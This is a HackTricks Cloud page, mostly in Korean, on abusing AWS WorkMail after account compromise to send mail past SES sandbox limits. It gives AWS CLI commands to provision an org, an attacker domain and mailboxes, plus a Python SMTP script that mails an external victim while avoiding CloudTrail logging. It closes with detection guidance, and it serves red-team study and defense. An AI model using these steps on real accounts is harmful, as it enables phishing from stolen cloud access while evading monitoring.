AWS - WorkMail Post Exploitation
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
Abusing WorkMail to bypass SES sandbox
Even if SES is stuck in the sandbox (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. An attacker with long-term keys can spin up disposable mail infra and start sending immediately:
- Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
- Verify attacker-controlled domains (WorkMail invokes SES APIs as
workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
- Provision mailbox users and register them:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
노트:
- AWS 문서에 명시된 기본 recipient cap: 조직당 외부 수신자 100,000명/일 (사용자 간 합산).
- 도메인 검증 활동은 CloudTrail의 SES 항목으로 나타나지만 **
invokedBy:workmail.<region>.amazonaws.com**로 기록되므로 SES 검증 이벤트가 SES 캠페인 대신 WorkMail 설정과 관련될 수 있다. - WorkMail의 메일박스 사용자는 IAM 사용자와 독립적인 application-layer persistence가 된다.
전송 경로 및 텔레메트리 누락
Web client (WorkMail UI)
- CloudTrail에서는
ses:SendRawEmail이벤트로 노출된다. userIdentity.type=AWSService,invokedBy/sourceIPAddress/userAgent=workmail.<region>.amazonaws.com, 따라서 실제 클라이언트 IP는 숨겨진다.requestParameters는 발신자(source,fromArn,sourceArn, configuration set)를 그대로 leak하여 새로 검증된 도메인/메일박스와 연관시킬 수 있다.
SMTP (stealthiest)
- Endpoint:
smtp.mail.<region>.awsapps.com:465(SMTP over SSL)와 메일박스 비밀번호로 인증한다. - SMTP 전송에 대해서는 CloudTrail 데이터 이벤트가 생성되지 않는다, SES 데이터 이벤트가 활성화되어 있어도.
- 이상적인 탐지 지점은 org/domain/user provisioning 및 이후 웹을 통해 전송된
SendRawEmail이벤트에서 참조되는 SES identity ARN들이다.
WorkMail을 통한 SMTP 전송 예시
```python import smtplib from email.message import EmailMessageSMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”
target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)
</details>
## 탐지 고려사항
- WorkMail가 불필요한 경우, 조직 수준에서 **SCPs**를 통해 차단하세요 (`workmail:*` deny).
- 프로비저닝에 대한 알림: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, 그리고 SES 검증에서 `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- identity ARNs가 새로운 도메인을 참조하고 소스 IP/UA가 `workmail.<region>.amazonaws.com`과 동일한 비정상적인 **`ses:SendRawEmail`** 이벤트를 주시하세요.
## 참조
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
> [!TIP]
> AWS 해킹 학습 및 실습:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 학습 및 실습: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Az 해킹 학습 및 실습: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인하세요!
> - **참여하세요** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) 또는 [**telegram group**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 팔로우하세요.
> - **PR을 제출하여 해킹 트릭을 공유하세요**: [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

